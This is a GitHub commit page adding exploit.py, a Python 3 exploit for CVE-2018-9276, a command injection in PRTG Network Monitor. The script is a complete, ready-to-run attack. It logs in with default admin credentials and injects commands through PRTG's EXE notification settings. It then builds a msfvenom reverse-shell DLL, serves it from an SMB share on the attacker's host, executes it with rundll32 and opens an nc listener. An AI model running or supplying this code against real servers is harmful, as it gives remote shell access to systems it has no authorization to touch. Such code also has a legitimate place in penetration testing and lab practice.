Skip to content

Commit

Permalink
Create exploit.py
Browse files Browse the repository at this point in the history
  • Loading branch information
Alvin Smith authored Jul 29, 2021
1 parent 649dea0 commit b5cfc5e
Showing 1 changed file with 319 additions and 0 deletions.
319 changes: 319 additions & 0 deletions exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,319 @@
#!/usr/bin/python3
#####################################################################################
#
# Title: PRTG < 18.2.39 Authenticated Command Injection (Reverse Shell)
# Reference: CVE-2018-9276
# https://nvd.nist.gov/vuln/detail/CVE-2018-9276
# Author: Alvin Smith
# Date: 29/07/2021
# Description: Re-write of exploit released by wildkindcc (https://github.com/wildkindcc/CVE-2018-9276)
# Python3 support
#
#####################################################################################
import colorama
import argparse
import http.client, urllib.request, urllib.parse, urllib.error
import traceback
import ssl
import random
import string
import json
import sys
import time
import os
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
import threading
import logging
import socket

#####################################################################################
# Adds colourised notifications to text
# Colourama is not neccesary for ANSI compliant terminals; however, it will make it work in windows.
colorama.init()
error = '\033[31m[!] \033[0m' # [!] Red
fail = '\033[31m[-] \033[0m' # [-] Red
success = '\033[32m[+] \033[0m' # [+] Green
event = '\033[34m[*] \033[0m' # [*] Blue
debug = '\033[35m[%] \033[0m' # [%] Magenta
notification = '[-] ' # [-]

#####################################################################################
# argparse
# https://docs.python.org/3.3/library/argparse.html#module-argparse

def get_args():
# This function parses and return arguments passed in
# Help (-h --help) is automagically defined.
# Assign description to the help doc
parser = argparse.ArgumentParser(
description='CVE-2018-9276')
# Add arguments
parser.add_argument(
'-i', '--host', type=str, help='IP address / Hostname of vulnerable PRTG server', required=True)
parser.add_argument(
'-p', '--port', type=str, help='Port number', required=True)
parser.add_argument(
'--lhost', type=str, help='LHOST for MSFVENOM', required=True)
parser.add_argument(
'--lport', type=str, help='LPORT for MSFVENOM', required=True)
parser.add_argument(
'--user', type=str, help='Administrator Username', required=False, default="prtgadmin")
parser.add_argument(
'--password', type=str, help='Administrator Password', required=False, default="prtgadmin")
parser.add_argument(
'--https', action='store_true', help='Negotiate SSL connection to the server (Requires socket to be compiled with SSL support)', required=False, default=None)
# Array for all arguments passed to script
args = parser.parse_args()

# Assign args to variables
host = args.host
port = args.port
lhost = args.lhost
lport = args.lport
user = args.user
password = args.password
https = args.https
# Return all variable values
return host, port, lhost, lport, user, password, https

#####################################################################################
host, port, lhost, lport, user, password, https = get_args()
url = "%s:%s" % (host, port)

def checkVersion():
# Check for SSL
if https:
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = http.client.HTTPConnection(url)

conn.request("GET", "/")
response = conn.getresponse()
version = response.getheader('Server')
conn.close()

versionSplit = []
vulnerable = True

for var in version.split("/")[1].split(".")[:3]:
versionSplit.append(var)

if not int(versionSplit[0]) <= 18:
print(versionSplit[0])
vulnerable = False

if not int(versionSplit[1]) <= 2:
print(versionSplit[1])
vulnerable = False

if not int(versionSplit[2]) < 39:
print(versionSplit[2])
vulnerable = False

if not vulnerable:
raise ValueError('Server returned version [{}]'.format(version), "Versions < 18.2.39 are vulnerable to CVE-2018-9276")
else:
print(success + "[{}] is Vulnerable!".format(version))
return 0

def randomString(stringLength=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))

# Connects to the PRTG server instance and retrieves a valid session cookie.
def get_session():
headers = {
'Content-Type' : 'application/x-www-form-urlencoded'
}
payload = "loginurl=%2Fmyaccount.htm%3Ftabid%3D2&username={}&password={}".format(user, password)

# Check for SSL
if https:
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = http.client.HTTPConnection(url)

conn.request("POST", "/public/checklogin.htm", payload, headers)
response = conn.getresponse()
header = response.getheader('set-cookie')
conn.close()

if not header:
raise ValueError('Session not obtained. Check your usename/password and try again!')
else:
print(success + "Session obtained for [{}:{}]".format(user, password))
session = header.split(";")[0]
return session

def createFile(fileLocation):
# Prepare the environment by creating an output file required for injection
session = get_session()
name = randomString()

headers = {
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Cookie' : str(session)
}
payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.bat&message_10=\"{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.parse.quote_plus(fileLocation))

# Check for SSL
if https:
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = http.client.HTTPConnection(url)

conn.request("POST", "/editsettings", payload, headers)
response = conn.getresponse()

objid = json.loads(response.read())['objid']
conn.close()

print(success + "File staged at [{}] successfully with objid of [{}]".format(fileLocation, objid))
return objid

def prepareCommand(fileLocation, command):
session = get_session()
# File: log output which we require for injection
# Session: A valid session ID returned from get_session
name = randomString()

headers = {
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Cookie' : str(session)
}
payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=\"{};{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.parse.quote_plus(fileLocation), urllib.parse.quote_plus(command))

# Check for SSL
if https:
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = http.client.HTTPConnection(url)

conn.request("POST", "/editsettings", payload, headers)
#conn.debuglevel = 1
response = conn.getresponse()
#print response.status, response.reason

objid = json.loads(response.read())['objid']
conn.close()

print(success + "Command staged at [{}] successfully with objid of [{}]".format(fileLocation, objid))
return objid

def notify(objid):
session = get_session()

headers = {
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Cookie' : str(session)
}
payload = "id={}".format(objid)

# Check for SSL
if https:
conn = http.client.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = http.client.HTTPConnection(url)

conn.request("POST", "/api/notificationtest.htm", payload, headers)
response = conn.getresponse()

data = response.read()
data = data.decode('utf-8') # Decode the bytes object to string as 2to3 didn't do it
conn.close()

if 'EXE notification is queued up' not in data:
raise ValueError('Notify did not return the correct response.', data)
else:
print(success + "Notification with objid [{}] staged for execution".format(objid))
return 0


def initialise(fileLocation):
objid = createFile(fileLocation)
time.sleep(5)
notify(objid)

def executeCommand(fileLocation, command):
objid = prepareCommand(fileLocation, command)
time.sleep(5)
notify(objid)

def generatePayload(output, lhost, lport):
print(event + "Generate msfvenom payload with [LHOST={} LPORT={} OUTPUT={}]".format(lhost, lport, output))
os.system("msfvenom -p windows/shell_reverse_tcp LHOST="+ lhost + " LPORT="+ lport +" -f dll > " + output)

def hostPayload(lhost, outputDir, shareName):
server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)
server.addShare(shareName, outputDir)

# If the host you're talking to doesnt support SMBv1 this can be uncommented to enable it. This is an experimental impacket feature.
# server.setSMB2Support(True)

server.setSMBChallenge('')
print(event + "Hosting payload at [\\\\{}\{}]".format(lhost, shareName))
server.start()

# I commented out to avoid log error "Unknown level for query path info"
# https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smbserver.py
'''
time.sleep(5)
server.stop()
'''

#####################################################################################
logging.basicConfig(level=logging.DEBUG, format=event + '%(message)s',)

# Simple error handling because
try:
# Default writable file location
fileLocation = 'C:\\Users\\Public\\tester.txt'

checkVersion()
print("")
print(event + "Exploiting [%s:%s] as [%s/%s]" % (host, port, user, password))

shellName = randomString()
shareName = randomString().upper()
outputDir = "/tmp"
payload = "{}/{}.dll".format(outputDir,shellName)
shellLocation = "\\\\{}\\{}\\{}.dll".format(lhost, shareName, shellName)

initialise(fileLocation)

# Generate our reverse shell payload
generatePayload(payload, lhost, lport)

# Setup the threading to run an impacket server in the background
impacket = threading.Timer(0, hostPayload, args=(lhost, outputDir, shareName,))
impacket.setName('Impacket')
impacket.setDaemon(True)
impacket.start()

# Little sleep just to make sure everything is dandy
time.sleep(2)

command = "rundll32.exe " + shellLocation + ",0"
executeCommand(fileLocation, command)
# Close the SMB server when no longer required
print(event + "Attempting to kill the impacket thread")
print(notification + "Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!")
print(notification + "ps aux | grep <script name> and kill -9 <pid> if it is still running :)")
print(notification + "The connection will eventually time out.")
impacket.cancel()
print("")
print(success + "Listening on [{}:{} for the reverse shell!]".format(lhost, lport))
os.system("nc -nvlp " + lport)

except ValueError as err:
for errors in err:
print(error + errors)
traceback.print_exc()
except Exception:
print(error + "An unhandled exception has occured!")
traceback.print_exc()

0 comments on commit b5cfc5e

Please sign in to comment.